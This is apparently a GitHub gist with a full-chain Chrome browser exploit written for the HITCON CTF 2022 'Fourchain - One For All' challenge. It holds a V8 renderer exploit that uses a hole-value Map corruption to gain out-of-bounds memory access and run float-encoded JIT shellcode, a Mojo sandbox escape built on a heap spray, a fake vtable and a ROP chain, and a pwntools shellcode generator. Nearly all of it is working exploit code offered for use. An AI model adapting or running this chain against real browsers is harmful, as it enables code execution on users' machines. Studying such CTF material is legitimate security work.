Skip to content

Instantly share code, notes, and snippets.

@bruce30262
Last active November 30, 2022 16:58
Show Gist options
  • Save bruce30262/e1db7ebfb17c4724c5aee8629fb25f27 to your computer and use it in GitHub Desktop.
Save bruce30262/e1db7ebfb17c4724c5aee8629fb25f27 to your computer and use it in GitHub Desktop.
Fullchain browser exploits for HITCON CTF 2022 Fourchain - One For All
<html>
<script src="./mojo_bindings/mojo_bindings.js"></script>
<script src="./mojo_bindings/third_party/blink/public/mojom/sandbox/sandbox.mojom.js"></script>
<pre id='log'></pre>
<script>
function print(string) {
var log = document.getElementById('log');
if (log) {
log.innerText += string + '\n';
}
}
function hex(i) {
start = "";
content = i.toString(16);
if (i < 0) {
start += "-";
content = content.substring(1);
}
return start + "0x" + content;
}
</script>
<script src="./pwn_v8.js"></script>
<script src="./pwn_sbx.js"></script>
<script>
if (typeof (Mojo) !== "undefined") {
pwn_sbx();
} else {
pwn_v8();
}
</script>
</html>
function pwn_sbx() {
(async function pwn() {
let i = 0;
var A = new blink.mojom.SandboxPtr();
Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(A).handle);
var heap = (await A.getHeapAddress()).addr;
var text = (await A.getTextAddress()).addr;
print("text: "+hex(text));
print("heap: "+hex(heap));
var base = text - 0x627fc20; // nm --demangle ./chrome | grep 'SandboxImpl::Create'
pop4 = base + 0x0d8e6554; // pop r12; pop r13; pop r14; pop r15; ret;
xchg_rsp_rax = base + 0x05c3e9b2; // xchg rsp, rax; ret;
pop_rax = base + 0x0d8e64f4; // pop rax; ret;
pop_rsi = base + 0x0d8cdf7c; // pop rsi; ret;
pop_rdx = base + 0x05caa52e; // pop rdx; ret;
pop_rdi = base + 0x0749d85d; // pop rdi; ret;
syscall_ret = base + 0x0972e4b7; // syscall; ret;
jmp_rax = base + 0x0a425c58; // jmp rax;
var dataA = new ArrayBuffer(0x800);
var u8arrA = new Uint8Array(dataA);
u8arrA.fill(0x90);
function add_rop(idx, gadget) {
let arb = new ArrayBuffer(0x8);
let u8 = new Uint8Array(arb);
let b64 = new BigInt64Array(arb);
b64[0] = BigInt(gadget);
u8arrA.set(u8, idx);
}
var cur_idx = 0;
function add_rop_auto(gadget) {
add_rop(cur_idx, gadget);
cur_idx += 8;
}
// set ROP chain for mprotect(heap&(~0xfff), 0x2000, 7);
add_rop(0x7, pop4);
add_rop(0x27, xchg_rsp_rax);
cur_idx = 0x27+8;
add_rop_auto(pop_rax);
add_rop_auto(10);
add_rop_auto(pop_rdx);
add_rop_auto(7);
add_rop_auto(pop_rsi);
add_rop_auto(0x2000);
add_rop_auto(pop_rdi);
add_rop_auto(BigInt(heap) & (~0xfffn));
add_rop_auto(syscall_ret);
add_rop_auto(pop_rax);
add_rop_auto(heap+0x100);
add_rop_auto(jmp_rax);
// set shellcode
//e.g. sc = [0x90, 0x90, ...];
sc = [0xcc, 0xcc];
u8arrA.set(sc, 0xf0);
await A.pourSand(u8arrA);
B = [];
MAX = 0x100;
for (i = 0; i < MAX; i++) {
B.push(null);
B[i] = new blink.mojom.SandboxPtr();
Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(B[i]).handle);
}
let data = new ArrayBuffer(0x820+0x800);
let b64arr = new BigUint64Array(data);
let u8arr = new Uint8Array(data);
b64arr.fill(BigInt(heap+0x18)); // fake vtable
b64arr[b64arr.length-1] = 0n; // bypass crash
// trigger vulnerability
for (i = 0; i < MAX; i++) {
await B[i].pourSand(u8arr);
await B[i].ptr.reset();
}
})();
}
ab = new ArrayBuffer(8);
f64 = new Float64Array(ab);
B64 = new BigInt64Array(ab);
function ftoi(f) {
f64[0] = f;
return B64[0];
}
function itof(i) {
B64[0] = i;
return f64[0];
}
function trigger() {
let a = [1, 2, 3];
return a.hole();
}
function foo() {
// Arbitrary write ( traverse foo.bar, get the heap & the chrome address and write 0x1 to blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_ )
return [
1.0,
1.971182896537854e-246,
1.9711824873691482e-246,
1.9711828966039986e-246,
1.9711828996966502e-246,
1.9713036086427644e-246,
1.971182314009433e-246,
1.9711823524209352e-246,
1.9711828965422596e-246,
1.9710400013656955e-246,
1.971183204063025e-246,
1.9710406524285364e-246,
1.9711832033970258e-246,
1.971182897998491e-246,
-6.828527039272794e-229
];
}
function pwn_v8() {
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
print(map.size); // map.size == -1
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];
map.set(50, -1);
map.set(0x101, 0);
print(oob_arr.length); // now oob_arr.length = 0x101
data = ftoi(oob_arr[20]);
ori_victim_arr_elem = (data & 0xffffffff00000000n) >> 32n;
element_kind = data & 0xffffffffn;
function addrof(o) {
oob_arr[20] = itof( (ori_victim_arr_elem << 32n) | element_kind );
oob_arr[31] = itof( (ori_victim_arr_elem << 32n) | element_kind );
obj_arr[0] = o;
return ftoi(victim_arr[0]) & 0xffffffffn;
}
function heap_read64(addr) {
oob_arr[20] = itof( ((addr-0x8n) << 32n) | element_kind );
return ftoi(victim_arr[0]);
}
function heap_write64(addr, val) {
oob_arr[20] = itof( ((addr-0x8n) << 32n) | element_kind );
victim_arr[0] = itof(val);
}
foo_addr = addrof(foo);
code_addr = heap_read64(foo_addr + 0x18n) & 0xffffffffn;
jit_addr = heap_read64(code_addr + 0xcn);
heap_write64(code_addr + 0xcn, jit_addr + 0x82n); // Offset based on the Vagrant VM in Fourchain - One For All
heap = heap_read64(addrof(ab) + 0x28n); // the heap in the ArrayBuffer that contains chrome address
foo.bar = heap;
foo(); // trigger shellcode execution
window.location.reload();
}
#!/usr/bin/env python3
# Generate immediate numbers shellcode that does arbitrary write in V8
from pwn import *
import struct
context.arch = 'amd64'
jmp = b'\xeb\x0c'
def tod(data):
assert len(data) == 8
return struct.unpack('<d', data)[0]
def add_jmp(code):
assert len(code) <= 6
print(str(tod(code.ljust(6, b'\x90') + jmp))+",")
def end(code):
assert len(code) <= 8
print(tod(code.ljust(8, b'\x90')))
add_jmp(asm("mov eax, [rdi+3]")) # get foo's properties compress pointer
add_jmp(asm("lea rax, [rax+r14]")) # get property address
add_jmp(asm("mov eax, [rax+7]")) # get foo.bar compress pointer
add_jmp(asm("inc rax"))
add_jmp(asm("lea rax, [rax+r14-1]")) # get foo.bar address
add_jmp(asm("mov rbx, [rax+7]")) # get the_heap
add_jmp(asm("mov rbx, [rbx+0x10]")) # get [the_heap+0x10] -> another heap
add_jmp(asm("mov rax, [rbx]"))
# rax is now vtable for std::Cr::__shared_ptr_pointer<v8::internal::BackingStore*, std::Cr::default_delete<v8::internal::BackingStore>, std::Cr::allocator<v8::internal::BackingStore> >+0x10
# nm ./chrome | grep "_ZTVNSt2Cr20__shared_ptr_pointerIPN2v88internal12BackingStoreENS_14default_deleteIS3_EENS_9allocatorIS3_EEEE"
# 000000000d9b63f0 d _ZTVNSt2Cr20__shared_ptr_pointerIPN2v88internal12BackingStoreENS_14default_deleteIS3_EENS_9allocatorIS3_EEEE
# we need to subtract (0xd9b63f0+0x10)
add_jmp(asm("push 0xd9b6400"))
add_jmp(asm("pop rbx ; sub rax, rbx"))
# nm --demangle ./chrome | grep "is_mojo_js_enabled"
# 000000000e3422ec b blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_
add_jmp(asm("push 0xe3422ec")) # blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_
add_jmp(asm("pop rbx ; add rax, rbx"))
add_jmp(asm("push 0x1 ; pop rbx;"))
end(asm("movb [rax], bl ; ret"))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment